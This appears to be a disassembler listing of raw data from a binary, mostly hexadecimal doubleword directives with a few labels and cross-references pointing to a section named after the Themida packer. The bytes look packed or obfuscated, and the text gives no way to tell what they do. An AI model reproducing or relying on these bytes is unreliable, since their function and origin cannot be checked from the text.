		dd 7632512Bh, 4A27EF47h, 0DE9h,	40E53600h, 0EA9F4D99h
		dd 2A9569DDh, 0B5FF96D5h, 6070D99h, 78B0Fh, 8E0F0000h
		dd 1, 38858DF9h, 0E9060A70h, 14h, 0FD89E6C8h, 5ECE1D73h
		dd 99854C9Ch, 7D702E98h, 1E022442h, 0E860D0FFh,	5, 0B1EBD02Fh
		dd 0D78B662Fh, 0FE95Bh,	4B740000h, 1321DFBBh, 59B84EFCh
		dd 6AAEE5BCh, 858961F7h, 6071B11h, 12800Fh, 800F0000h
		dd 0Ch,	7E9h, 0CEC65800h, 11A689D1h, 9CD85C6h, 60500607h
		dd 66C7B70Fh, 61007BB8h, 9B9FA368h, 0AE993h, 0F03B0000h
		dd 0C7359352h, 0F253C812h, 0F5243481h, 6A040743h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 8C69C355h, 539C934Bh, 8F0F6026h, 2, 0EE805B53h, 0B5FF610Dh
		dd 607059Dh, 0AEF38160h, 613A1257h, 3963858Dh, 80600607h
		dd 0FA8B30C1h, 6AD0FF61h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0E3C2C355h,	0CA8A60C4h
		dd 89F961F8h, 70B1185h,	870FF806h, 1, 171E9F5h,	95F50000h
		dd 0C820F60h, 0E8000000h, 6, 641CF711h,	0E958F48Ch, 5
		dd 0EBBDE01Bh, 0F50616Ch, 0C8Ah, 6880F00h, 0F000000h, 81h
		dd 880F9500h, 5, 5F52F860h, 18F0F61h, 0F8000000h, 890FEC8Bh
		dd 18h,	12800Fh, 0DE90000h, 0C4000000h,	89BF2C6h, 837C7798h
		dd 0D550A274h, 60FCC483h, 11E8F5h, 32860000h, 7C9D3E05h
		dd 0DDCAFB61h, 0F6B71A89h, 0F6A92C0h, 8Ch, 60615800h, 17840F60h
		dd 0E8000000h, 11h, 6E960616h, 0BA91287Eh, 0C83D4961h
		dd 55FC1024h, 0D8815F07h, 17452095h, 0E861h, 815A0000h
		dd 0C74C3EAh, 0FC45C706h, 0
		dd 13A1BA83h, 0F010607h, 9884h,	6A5200h, 92FF0F6Ah, 6070181h
		dd 0F382895Ah, 8D060C6Eh, 0C6EF79Ah, 3C75206h, 128h, 92FF5053h
		dd 6072ADDh, 9A8D525Ah,	60C6EF7h, 0F3B2FF53h, 0FF060C6Eh
		dd 70B1192h, 0C00B5A06h, 9A8D5074h, 60C6EF7h, 33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 91BA8D0Ch, 8B06071Bh, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 71B9182h,	92FF5006h, 6071B11h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 8BF9F800h, 258D8DD2h, 6A060C76h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 5B87C351h
		dd 8D89EAE6h, 6071AD9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 8EC35343h, 1D85C72Eh,	9C060710h, 8A000069h
		dd 585C7D1h, 60733h, 23000000h,	70E59BDh, 39B5FF06h, 6A060720h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 7B59C356h, 728D42DCh, 185995FFh, 8D010607h
		dd 60705B5h, 0DFE88166h, 0FF006AC0h, 70D6995h, 0EBC08B06h
		dd 8A68604Fh, 5E01BC15h, 0B6ACAA6Dh, 0C4F5FCB0h, 29C8A86Dh
		dd 122F4F2h, 37200F44h,	2219812Fh, 9D44374h, 27EAA991h
		dd 0FEFA049Fh, 0A3E3AFD2h, 0FD6C201Eh, 5FAF1EB8h, 1CA7BA27h
		dd 0C4FFA4F4h, 5556B42Fh, 7D8BDE19h, 5F9F683Bh,	55DA7197h
		dd 772F8D8Dh, 0F60060Ch, 687h, 319D8900h, 8B060708h, 8D8961CFh
		dd 6071AD9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	6AC35646h, 101D85C7h, 719C0607h, 81660000h, 89667DEAh
		dd 701D1BDh, 585C706h, 60733h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 5E0CC350h
		dd 7FCA4D32h, 0D2B70FDDh, 1351B5FFh, 858B0607h,	6070D31h
		dd 185995FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 66757CC3h, 6ACBE1BAh, 6995FF00h
		dd 8B06070Dh, 0AC29EBC0h, 0BFDA2375h, 68685E42h, 0C368EFC2h
		dd 3602CC19h, 0F7692F6Fh, 0DE6CABE4h, 0E76A7EA0h, 7D3501D5h
		dd 6DA78135h, 344C1DF9h, 0EADE13DCh, 0A6B24A05h, 0F247AE67h
		dd 6537123h, 7A2F3543h,	0FCFE7078h, 81BD8597h, 33C38550h
		dd 4488240Fh, 20FC787Fh, 2A43884Eh, 3CFF33E1h, 33FE38F6h
		dd 0C57F63B9h, 7D318A1Ch, 3018DC30h, 8E7D3537h,	35F91DE2h
		dd 0F7A3ACDh, 0DBFE35E6h, 33FE357Fh, 6A6E2B8h, 4DC54E22h
		dd 6ED21D3Dh, 33FE3CDEh, 0AFDFAB9Bh, 4B299454h,	0DBA0F7E7h
		dd 33FE357Fh, 6319CAC4h, 0EA8A057Ch, 60D476CCh,	305CDC68h
		dd 0F141359Bh, 0BE9B9299h, 3F894863h, 0E3493A75h, 0B3CD8BE9h
		dd 37774DAAh, 0B298CC4Ah, 0BE2E05E5h, 3F896A1Eh, 8A17B4CBh
		dd 63CC5EEDh, 377784C6h, 60FE5F9Dh, 33FE3634h, 0F0A5156Eh
		dd 17A2BC6Ch, 17BAB49Fh, 33FE23C9h, 0F0AD76E6h,	0DABD3EE0h
		dd 33FE35ABh, 8EFC486Ch, 1CC77CABh, 0E67BD5A4h,	0A3F985BCh
		dd 0BFF15825h, 33FE35E5h, 0CC2C827Ch, 34FFF42Ch, 0D53F8BDAh
		dd 0F3750004h, 293388B4h, 46FE339Ch, 643B6C4h, 33F832F7h
		dd 60AE2C07h, 4946F532h, 0BAFE35D8h, 34E148EBh,	0F363B831h
		dd 0CCF83C36h, 0B0A66E1Eh, 34EF005Bh, 248A3575h, 494666E9h
		dd 0BAFE35D8h, 34E148EBh, 9C63B831h, 0CCF83C31h, 3CA66E1Eh
		dd 0CAAEC651h, 0B834BE2Ch, 0CB455579h, 0DACF7A66h, 33FE3565h
		dd 16A9679Bh, 0C58DF586h, 5241CE59h, 4499A86Bh,	3394337Fh
		dd 33FDDDEEh, 6CDE35DCh, 4F776AADh, 777F3113h, 33E831BFh
		dd 64B935CDh, 23A3C725h, 6DE5B0FEh, 339433B5h, 33FDDD8Ah
		dd 6DDE356Eh, 47776BF4h, 777F31BFh, 33E831E9h, 65B835E6h
		dd 167A0BB0h, 33FE3C50h, 2B388FDCh, 5CBD48CDh, 0E30183E5h
		dd 33FE3E72h, 0FED9FDCDh, 0B9019FF8h, 581249E1h, 0B7F1F5B2h
		dd 33FE354Fh, 0DBA93504h, 33FE3534h, 6C3D6ABBh,	37DA4944h
		dd 37DA7167h, 33FE3569h, 603D62FEh, 9C0B3C1Ch, 0B5F164E2h
		dd 33FE3535h, 849EE210h, 33ECDC55h, 127835E6h, 0BE566D07h
		dd 0D83F8C69h, 0EE8FC5ACh, 2DC2A810h, 0C3755356h, 7865A816h
		dd 0BDF133CAh, 33FE35E5h, 8B0DBE15h, 33FE35BAh,	33F6B3D3h
		dd 0B5F1356Eh, 33FE3535h, 0D001FB10h, 0DBAC35A7h, 33FE35E5h
		dd 693D6F53h, 37DA6130h, 37DA715Dh, 33FE3574h, 0EE3D6775h
		dd 779B5800h, 1844EEEEh, 0BE9974FFh, 3F895AEEh,	0C5493ABFh
		dd 6DE5B051h, 33943362h, 33FDDD65h, 69DE359Bh, 67776F0Eh
		dd 777F31C2h, 33E83157h, 61BC35B9h, 2948331Fh, 33FE3A87h
		dd 34111237h, 0E93F93E2h, 6B0A5508h, 54248ECEh,	4834B415h
		dd 592ECA6Ah, 301667DCh, 13FE356Eh, 0BAA4F66Dh,	0B2FA11CFh
		dd 25FA1189h, 71FE35E6h, 3772F621h, 33FBDDA8h, 0C65335DCh
		dd 55EC6305h, 6DA31E88h, 0B9098A94h, 3C3E3E3Ah,	33FE5762h
		dd 0BE2DBE73h, 34B5AE24h, 66FE5FDAh, 33FE3686h,	0F0A31537h
		dd 1792BCC6h, 17BAB4C9h, 33FE28E2h, 0F0AB7073h,	40598238h
		dd 1EF89A13h, 84F1FFE7h, 8BB180E1h, 33FE359Ah, 0DBAE35A7h
		dd 33FE35E5h, 6B3D6D53h, 37DA7130h, 37DA715Dh, 33FE3577h
		dd 0C03D6577h, 668BA314h, 0E71FB54Bh, 0B641D619h, 0BEBC297Ch
		dd 3F894124h, 0D3B78CDAh, 0B6730E41h, 35F26B2Ch, 33FE3972h
		dd 8243A3CDh, 0EC870B2Fh, 7E68E22Ch, 592ECADFh,	301667DCh
		dd 13FE356Eh, 0BAA4F66Dh, 0B2FA11CFh, 2FFA1189h, 71FE35E6h
		dd 4860F621h, 803AE622h, 38BD23CFh, 0B67A3AAEh,	0DAFE3537h
		dd 33FE3589h, 1A98431Eh, 8ABAFEF6h, 1B0AC5BEh, 2E0D928Eh
		dd 8D985A92h, 0AE737E5Eh, 35F97EACh, 0DBAE35F1h, 33FE35CEh
		dd 6B3D6DC6h, 37DA71FAh, 37DA7138h, 33FE35C7h, 853D652Eh
		dd 138C87E8h, 53782AEBh, 3C50F74Dh, 33FE2263h, 33ECDC73h
		dd 7FC635B9h, 6183351Dh, 6CB736D0h, 5084026h, 6F4D460h
		dd 33FD8DACh, 0E27F35E6h, 0AEC242Ah, 0B7F1D646h, 33FE35DFh
		dd 53298261h, 0CC413A57h, 52CD82FAh, 0F247538Eh, 0BE03809Ah
		dd 3F8968CEh, 9B73B8BFh, 8BF839A7h, 0B9B56913h,	11FBB004h
		dd 0FCD5339Ch, 895AEEBEh, 493ABF3Fh, 0E5B051C5h, 9433626Dh
		dd 0FDDD6533h, 0DE359B33h, 836F0E69h, 0A4F305E9h, 0BF60C08Bh
		dd 471500FAh, 0FE9h, 5D9A9600h,	0F3601A08h, 2D9CF564h
		dd 6070FB77h, 8BF98B61h, 8E0FC3h, 8B000000h, 800FC0h, 83000000h
		dd 71ACDBDh, 9750006h, 1135BD83h, 74000607h, 8B535019h
		dd 47AB8C0h, 85890000h,	6072F81h, 0AE279D8Dh, 0D3FF0609h
		dd 0BD83585Bh, 6071135h, 50177400h, 47AB853h, 85890000h
		dd 6072F81h, 0AAC89D8Dh, 0D3FF0609h, 8B0F585Bh,	4, 5782BE66h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F5C35545h
		dd 1C03E34Fh, 0B3295B70h, 9E8E6h, 192C0000h, 7C97C427h
		dd 0E91C41A3h, 0Ch, 0B4F9129Eh,	410F4B08h, 1695ADD0h, 0E9C08B5Eh
		dd 266h, 0D98C6660h, 0F04C1F6h,	3584h, 0FF016A00h, 7059DB5h
		dd 38858D06h, 0FF060A70h, 0F98589D0h, 8B060706h, 0CEFC1FEh
		dd 6000068h, 6A006A20h,	0D685702h, 0FF000100h, 706F995h
		dd 32E906h, 85C60000h, 60709CDh, 30DF6856h, 0B5FFA9C5h
		dd 6070D99h, 7038858Dh,	0D0FF060Ah, 84D8589h, 858D0607h
		dd 6071291h, 6A406A50h,	95FF5605h, 607084Dh, 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 13858908h, 8B060C7Dh, 85890C42h
		dd 60C7D0Bh, 8910428Bh,	0C7D0F85h, 49B58D06h, 8D060C7Dh
		dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7D13B58Bh, 858B060Ch
		dd 60C7D0Bh, 7D0FBD83h,	0F00060Ch, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		db 3 dup(0)
byte_594533	db 52h			; DATA XREF: Themida_:0053C9B0o
		dd 8B60D48Bh, 85890842h, 60C7D13h, 7D9AB58Dh, 858D060Ch
		dd 5B7E35h, 5A61D0FFh, 7D13858Bh, 4C2060Ch, 13858B00h
		dd 8B060C7Dh, 13858900h, 0CF060C7Dh, 0
dword_59456C	dd 70B58960h, 89060C7Dh, 0C7D6C85h, 2D858D06h, 8B06070Fh
					; DATA XREF: Themida_:0053DA2Co
		dd 85894440h, 60C7DA9h,	7DDFB58Dh, 858D060Ch, 5B7E35h
		dd 8B61D0FFh, 0C7D7085h, 9D8BC306h, 60C7D6Ch, 3C43B70Fh
		dd 5B8BD803h, 6C9D0378h, 8B060C7Dh, 0B5032473h,	60C7D6Ch
		dd 207B8B56h, 31C738Bh,	0C7D6CBDh, 6CB50306h, 0FC060C7Dh
		dd 41FFC983h, 7D709D8Bh, 178B060Ch, 7D6C9503h, 0C783060Ch
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 7D6C8503h, 8589060Ch, 60C7D70h, 0CE8BF08Bh
		dd 0BD81C18Bh, 60C7DA9h, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 0C7DA9BDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	60C7DA9h, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 0C7DA9BDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 60C7D17h,	2A998589h
		dd 858D0607h, 60C7DADh,	126D8589h, 858D0607h, 60C7D74h
		dd 1F18589h, 6E80607h, 20000000h, 917A8E49h, 5EF88AF4h
		dd 0CE9h, 0D831FD00h, 37EC486Eh, 937CE7DBh, 0E6C681BFh
		dd 8000005Fh, 0BDB93ED8h, 0E9000017h, 8, 0FB35EFC5h, 43DC0ABEh
		dd 0AE83E8Bh, 41000000h, 0EED12D5Eh, 4C24B435h,	4FF5BB8Dh
		dd 815B010Bh, 9098ABC7h, 0C781F50Eh, 2FB1540Eh,	44ED7FBBh
		dd 56EF8135h, 0F0A03F5h, 198Ch,	11E800h, 0CC2E0000h, 0F9591FA9h
		dd 0B0F418E1h, 0C727222Ah, 60077F34h, 3E895B61h, 814EC4BBh
		dd 93EE813Bh, 6059C42Fh, 0FC6B70Fh, 68Ah, 8BD78100h, 611F7F7Ch
		dd 2F8FC681h, 0B70F59C4h, 850F49C7h, 22h, 8E951h, 9A3D0000h
		dd 48F0B132h, 0E958AC4Eh, 31h, 2EEAC6ECh, 0E0598472h, 0B185F4CBh
		dd 0CE9FFA1h, 67000000h, 0BF39391Bh, 0AFF3F9ABh, 0E9528C9Ah
		dd 0FFFFFF4Ch, 0A41A8445h, 402D8795h, 0A3D78291h, 9E8B2h
		dd 55510000h, 20E2BF3Ah, 0B9C64A40h, 0B42F54Eh,	3BD5805Eh
		dd 5ED2C681h, 60570000h, 66DF8B66h, 19B0EA81h, 0D22B5961h
		dd 8B35CD80h, 870F163Ch, 6, 0E79FF081h,	0EF815999h, 7B1BA68Ch
		dd 0EF81DE8Ah, 64B8401Dh, 0A890Fh, 8D0F0000h, 4, 0A0C7B866h
		dd 0D1A1F781h, 8B660A37h, 0C88A57C3h, 8116048Fh, 0DFE6A7C3h
		dd 0EA81F951h, 65B01C2h, 81C28B66h, 5B01BEC2h, 3880F06h
		dd 66000000h, 0FA81C18Bh, 0FFFFA1ECh, 1B850Fh, 0E1810000h
		dd 57377440h, 27E9h, 0B9549500h, 0FD288ABDh, 0F24D6A1Ch
		dd 0A6AC3A10h, 68A0F1Eh, 81000000h, 0FDE6E4F0h,	0FF6DE940h
		dd 3E1CFFFFh, 46BFBED6h, 15CE9h, 9A1FBF00h, 824B83F2h
		dd 90589094h, 9B56AB08h, 9856B051h, 9358B708h, 0B8718D51h
		dd 0EA248738h, 0CA25A751h, 7E793BC6h, 0ADB6BC62h, 0DC141750h
		dd 0DC15DF51h, 0DC14FB51h, 0DC14F951h, 0DC14FE51h, 0DC147F51h
		dd 0DC149051h, 0DC14DF51h, 0DC14E751h, 0DC14F751h, 0AF6DA851h
		dd 0DC799825h, 0B366AE71h, 0AF671A32h, 0DC14BF0Ch, 0DC14DF51h
		dd 0DC14EF51h, 0DC14F751h, 0DC14FB51h, 0DC14FD51h, 0DC14FE51h
		dd 0DC147F51h, 0DC14BF51h, 0DC14DF51h, 0DC14EF51h, 0DC14F751h
		dd 0DC14FB51h, 0DC14FD51h, 0DC14FE51h, 0DC147F51h, 0DC14BF51h
		dd 0DC14DF51h, 0DC14EF51h, 0DC14F751h, 0DC14FB51h, 0DC14FD51h
		dd 0DC14FE51h, 0DC147F51h, 0DC14BF51h, 0DC14DF51h, 0DC14EF51h
		dd 0DC14F751h, 0DC14FB51h, 0DC14FD51h, 0DC14FE51h, 0DC147F51h
		dd 0DC14BF51h, 0DC14DF51h, 0DC14EF51h, 0DC14F751h, 0DC14FB51h
		dd 0DC14FD51h, 0DC14FE51h, 0DC147F51h, 0DC14BF51h, 0DC14DF51h
		dd 0DC14EF51h, 0DC14F751h, 0DC14FB51h, 0DC14FD51h, 0DC14FE51h
		dd 0DC147F51h, 0DC14BF51h, 0DC14DF51h, 0DC14EF51h, 0DC14F751h
		dd 0DC14FB51h, 0DC14FD51h, 0DC14FE51h, 0DC147F51h, 0DC14BF51h
		dd 0DC14DF51h, 0DC14EF51h, 0DC14F751h, 0DC14FB51h, 6E169851h
		dd 16DCE95Fh, 0DD680000h, 0E9060C83h, 0FFFBBF58h, 0C852668h
		dd 0BF4EE906h, 0DA68FFFBh, 0E9060C85h, 0FFFBBF44h, 0C86AA68h
		dd 0BF3AE906h, 5B68FFFBh, 0E9060C88h, 0FFFBBF30h, 0C89C668h
		dd 0BF26E906h, 9E68FFFBh, 0E9060C8Ah, 0FFFBBF1Ch, 0C8B8A68h
		dd 0BF12E906h, 9B68FFFBh, 0E9060C8Dh, 0FFFBBF08h, 0C8E8E68h
		dd 0BEFEE906h, 7968FFFBh, 0E9060C8Fh, 0FFFBBEF4h, 0C903568h
		dd 0BEEAE906h, 7C68FFFBh, 0E9060C91h, 0FFFBBEE0h, 0C966E68h
		dd 0BED6E906h, 6B68FFFBh, 0E9060C97h, 0FFFBBECCh, 0CFA17069h
		dd 6C3E1108h, 0ADCADA5h, 0A2745143h, 3E10E5DBh,	0C1B72B6Ch
		dd 60531AECh, 0F8ECB385h, 91864D1Fh, 92CFE8BAh,	254A5BA8h
		dd 1D1B5C80h, 1E4B5146h, 0D468A19Dh, 3D823F2h, 0BA65370Eh
		dd 0ECD6B3B1h, 8C37F668h, 43160DBAh, 0E0FE21F8h, 66350C01h
		dd 0E1B8091Bh, 248D8029h, 78D2ABDCh, 2F4AF169h,	82000000h
		dd 7E5BC962h, 38DE7894h, 0E530118Ch, 2ABB82D3h,	3C05780h
		dd 2ABBCC19h, 0FBD0C680h, 3213D9B0h, 8FB8080Fh,	0F16A56B6h
		dd 0BF2Eh, 51466600h, 645A2F7Ah, 7A6F448Fh, 2319C6A3h
		dd 92C034Eh, 0C59C9166h, 0D169EFF3h, 0F3D18631h, 2166A4E7h
		dd 8BB0D31Ch, 26EDBF96h, 560F5A31h, 88724FD5h, 8C3803B4h
		dd 873204E5h, 0B9A380E4h, 86338428h, 0BE6B4829h, 4A21F3C8h
		dd 0DCC6A59Dh, 8623718Fh, 8DD8A788h, 1FEEC1B8h,	0CE1D7FCh
		dd 0FCF05455h, 0E933C09Dh, 149Dh, 0CFA17069h, 6C3E1108h
		dd 0ADCADA5h, 0A2745143h, 3E10E5DBh, 0C1B72B6Ch, 60531AECh
		dd 0F8ECB385h, 91864D1Fh, 92CFE8BAh, 25495BA8h,	1D1B5C80h
		dd 0A97B5046h, 902BF4D2h, 6F90DDC7h, 0A8898631h, 0D54B27AAh
		dd 0C1988DB2h, 6A4337E4h, 877B481Fh, 0A9618BAEh, 7E5BC962h
		dd 452214C1h, 9E0023FAh, 8C38DD82h, 4557A283h, 802ABBF4h
		dd 918532C9h, 368E95B8h, 0D5CB78h, 23BBDEB5h, 0F16A574Ah
		dd 0FDC2h, 7936FA00h, 31CD428Fh, 95624386h, 7EA3C6A3h
		dd 658F8389h, 0C7453DEEh, 7B6E1BF8h, 0EF506C71h, 3D2A024h
		dd 19ECE3B8h, 0AF8A7D4Ah, 0C76A8D64h, 2CA004E2h, 93B5011Fh
		dd 51554B70h, 0E1083181h, 0D2CA97A6h, 10DFB601h, 3923E0C5h
		dd 86318EECh, 44170EEDh, 6AF05275h, 0D0863193h,	9D6E6613h
		dd 24717B52h, 0ED863193h, 704188C2h, 5334FA5Dh,	3F160B30h
		dd 0DAB1A66Dh, 0D155D68Fh, 0E1B803DEh, 92883512h, 0CE9B72BDh
		dd 0DDB4FFDCh, 0C79B85BAh, 0CE8C3824h, 0FB701BEDh, 0E5CF8C69h
		dd 8029F598h, 588DB091h, 33A0CC6Eh, 0F6EECD86h,	89665825h
		dd 3A30DDBAh, 0D6CC9365h, 12694A01h, 32BF9DFDh,	1354E8h
		dd 58272000h, 0F5C8BF86h, 93645C23h, 2B08FAC1h,	0C79C9259h
		dd 6EE223F5h, 0AD1A378h, 0A36A3C17h, 3D04D6AFh,	869F7148h
		dd 48125F49h, 0D2138025h, 7B5046D4h, 16EDE2A9h,	51468C44h
		dd 9D4A2F7Ah, 86ABCEABh, 21E8BA91h, 380D5829h, 0C39A6C43h
		dd 0CCCF1C06h, 0E7C88631h, 627CB9C4h, 92912F84h, 577A02D0h
		dd 6A47DD4Eh, 38CCFC80h, 529C7D8Ch, 0B4FAEE3Eh,	382BD877h
		dd 183B125Dh, 2B081C0Fh, 0ABABE541h, 0E6C3A49Ah
		dd 4B6E4339h, 0E87CEFA8h, 1B08210Bh, 280994B2h,	0D2A99E4Bh
		dd 839317F5h, 7A2ED012h, 71662D57h, 82DAE39Ah, 0D5628F6Fh
		dd 12A08Bh, 0A4736C00h,	41140BD2h, 0DFB0A86Fh, 7754460Dh
		dd 13E8DEA5h, 0BA2E6F41h, 561DEFC4h, 0EFB68863h, 895022FBh
		dd 0D2EBBD94h, 475EAB95h, 16578025h, 5583618h, 578964D7h
		dd 56D21F09h, 0F2D38631h, 0E6DB0023h, 32DFC40Fh, 3942653Eh
		dd 6B553232h, 8C3857DBh, 0D0A7795Ah, 56DC2913h,	0FCDD802Ah
		dd 0E8BFB4D9h, 0DF47E49Dh, 0CC1903ECh, 0CD802A56h, 714E1DECh
		dd 567DCAB4h, 6A3E802Ah, 0A59DC927h, 81A4854Bh,	0F17624Ch
		dd 2F108637h, 0D9B0A552h, 744B4007h, 69FB7029h,	15E8DF8Ch
		dd 68D3BDF2h, 218C328Fh, 0C1B66340h, 68600DEAh,	834A7497h
		dd 0A01C888Eh, 8C5569Bh, 3635EE39h, 0D767512Eh,	568630DEh
		dd 8609BE75h, 0BA479DEFh, 11D070h, 0D4A39C00h, 71443B02h
		dd 0FE0D89Fh, 0A784763Dh, 43180ED5h, 0EA5E9F71h, 864D1FF4h
		dd 1FE6B893h, 0B980522Bh, 21BEDC4h, 468EDBC5h, 46878025h
		dd 7B504648h, 5E55C09Eh, 0AA4B14D4h, 0C9865D87h, 315292DFh
		dd 8FB29386h, 0A27FE586h, 385274B8h, 8F86658Ch,	0CB9A71BCh
		dd 0DFB6AB80h, 7A51460Dh, 6FF5762Fh, 2E18D592h,	802A52E1h
		dd 7CDE01E2h, 86317530h, 0B8FD4829h, 0EEE399E9h, 860403E8h
		dd 9F6EF5C4h, 5549F6CDh, 375A317Ch, 4A273D2Eh, 38061C60h
		dd 473E1D8Ch, 855AA574h, 996EB990h, 0AD82CDA4h,	14EFE2B9h
		dd 2B15FA45h, 802A05DEh, 0EAB9F6D7h, 0BDBEE29Ah, 0CC58D365h
		dd 8E8532EFh, 0F23698BBh, 0E3863105h, 7E682502h, 86310631h
		dd 42E5132h, 0B48D802Dh
		db 0C1h, 0E6h
word_594F42	dw 0C49Bh		; DATA XREF: ___:off_438100o
		dd 0DED5AAF5h, 613E3C0Bh, 0DC7CC469h, 0F5EA0F32h, 41EED31Eh
		dd 532A754Ch, 0AB7DCE30h, 85778631h, 96885DA8h,	0A6996EB9h
		dd 3090B9CBh, 411F7688h, 2A1E718Eh, 0E0F75351h,	0EDBC9187h
		dd 34572820h, 3227D52Dh, 0D7C17E5Bh, 8631988Ah,	0EFB59284h
		dd 0FAC1EB0Eh, 2AE32E05h, 5C462301h, 8C38BB20h,	6F4618F9h
		dd 0BC445D91h, 587B86E5h, 0A6C5F54Dh, 0CA004B8Fh, 7573FDC9h
		dd 19813C22h, 2300CFF0h, 3660F639h, 0B802E386h,	2318EBE1h
		dd 0F3A07D4Ch, 600326FFh, 2660FD4Eh, 0C181386h,	0E1E2452Fh
		dd 0B6978C32h, 52372CD9h, 0E05EAB95h, 76578029h, 29E11F6Ch
		dd 68371880h, 97E4CE8Bh, 908029E0h, 9B628CAFh, 0AF84CFA6h
		dd 0A42DE4B9h, 0C0A3F680h, 101FE933h, 0F2EB0000h, 938A5123h
		dd 2F27EEC0h, 0D3C58C5Eh, 675D24F6h, 0ADEEC092h, 9C6E4339h
		dd 3507E2D5h, 0CFA17A6Eh, 6A3C1308h, 0DD2A1451h, 0D6802544h
		dd 50469795h, 67B2877Dh, 18EFC190h, 0CD24715Bh,	44258631h
		dd 3207FC21h, 451C673Ch, 61562B76h, 0FC253F8Ah,	0FB01F6A4h
		dd 0AF154C9Ah, 966F6358h, 0EC26F8C7h, 0F7710C13h, 24F39F6h
		dd 386317Dh, 7F5FFF22h,	78000001h, 7C84D1BBh, 0A4858631h
		dd 51466B81h, 655A2F7Ah, 1A11BC8Eh, 0BF432D0Ah,	0B68C38E7h
		dd 27788AD5h, 0FC802AB3h, 411A3393h, 0B9F16A4Ah, 3Fh, 5DC962F1h
		dd 0CBB59267h, 8631CC7Eh, 0EAC79677h, 2136E0Ch,	0AC3A380Bh
		dd 63B5E79h, 3853001Ch,	0C0AA998Ch, 802A3273h, 79C49374h
		dd 2A331667h, 2282EB80h, 69CE3009h, 0D0A8F1h, 46E00000h
		dd 4A2F7A51h, 0CC56A38Dh, 604F8631h, 31CD2976h,	7A492A86h
		dd 673C3257h, 7B52471Ch, 29FAF19Eh, 3A115C35h, 7C49206Bh
		dd 8D64AF88h, 35E2C76Ah, 49206B3Eh, 350C0126h, 0D1D95F63h
		dd 5C518631h, 2FDCB385h, 0CEAE313Dh, 19EB672Dh,	528FF4Ah
		dd 18F56FFCh, 3B6E0A2Eh, 4D2A0B8Ch, 3D5AAA0h, 0B4897F2Ch
		dd 4A6F9269h, 0B48D8154h, 0C6A19469h, 8F50F9F7h, 71FCBBCBh
		dd 9CF0EBA2h, 0FB88A3F7h, 0EB4B1h, 0B8878000h, 55281FE6h
		dd 0F3C4BC83h, 8B685A21h, 27FCF2B9h, 0CE428355h, 6A3103D8h
		dd 3CA9C77h, 9D64360Fh,	0E6FFD1A8h, 4372BFA9h, 32738025h
		dd 7D504634h, 0DDFAE8Bh, 877C5146h, 968065B0h, 8631CD49h
		dd 0CB9A694Ah, 514641F9h, 62AD8A7Ch, 9C71BC8Bh,	37FED0A7h
		dd 67206B42h, 998360C4h, 8C38F9ADh, 712E0BECh, 2AA13A87h
		dd 375A3B80h, 7F5D10Dh,	2DDA0000h, 996E6437h, 5DA8774Eh
		dd 0CEC58886h, 12DB5C44h, 5046D9EFh, 9E4B307Bh,	0F06D3A8h
		dd 0F71AF13Ch, 31CD4495h, 55D15A86h, 663D8861h,	75D0BA97h
		dd 128C3E4Dh, 0B2A75431h, 1A11EADDh, 0D7A97847h, 0F9441B10h
		dd 3CB93614h, 0F79D691Ch, 105B382Ah, 0FBF11639h, 15766F26h
		dd 8916A3FBh, 0DDC3Fh, 0E0AFA800h, 7D50470Eh, 1BECE4ABh
		dd 0B3908249h, 4F241AE1h, 0F66AAB7Dh, 92592B00h, 2BF2C49Fh
		dd 0C58C5E37h, 0E27F9D0h, 429AE7D1h, 5A9B8025h,	7B50465Ch
		dd 31F4D2A9h, 0A5F9B002h, 52476C8Fh, 24AA7C4Ch,	31A1ED3Ah
		dd 705E686h, 7C49B49Bh,	97E2B186h, 0ABF6CDC2h, 62186891h
		dd 0CB9966Dh, 0F6204314h, 710FE3BCh, 4C09C6F7h,	31811562h
		dd 232D0E86h, 863180D6h, 2BCBEECFh, 17h, 0D6F20963h, 0B9968631h
		dd 0C2C512FCh, 0DDBE8631h, 0FDA820BAh, 948FFFFh, 8631CCB8h
		dd 2603F5A2h, 0D8E104DBh, 8A6AA253h, 0A64D14D1h, 0BD10FAD7h
		dd 0DA8C3D7Dh, 7A6F1CF9h, 0E4967D74h, 7FD5665h,	0C2946332h
		dd 714A3EEBh, 5D34294Eh, 0DADCD380h, 21C55E66h,	0B500CF7Bh
		dd 431E11DEh, 0B2A87D20h, 1EC926DDh, 4AD7A3FBh,	0CF000h
		dd 0F4C3BC00h, 91645B22h, 2F00F8BFh, 0C7A4965Dh, 63382EF5h
		dd 0A7EBF91h, 0A66D3F14h, 3F06D8B3h, 0D9A0724Bh, 223B0DE4h
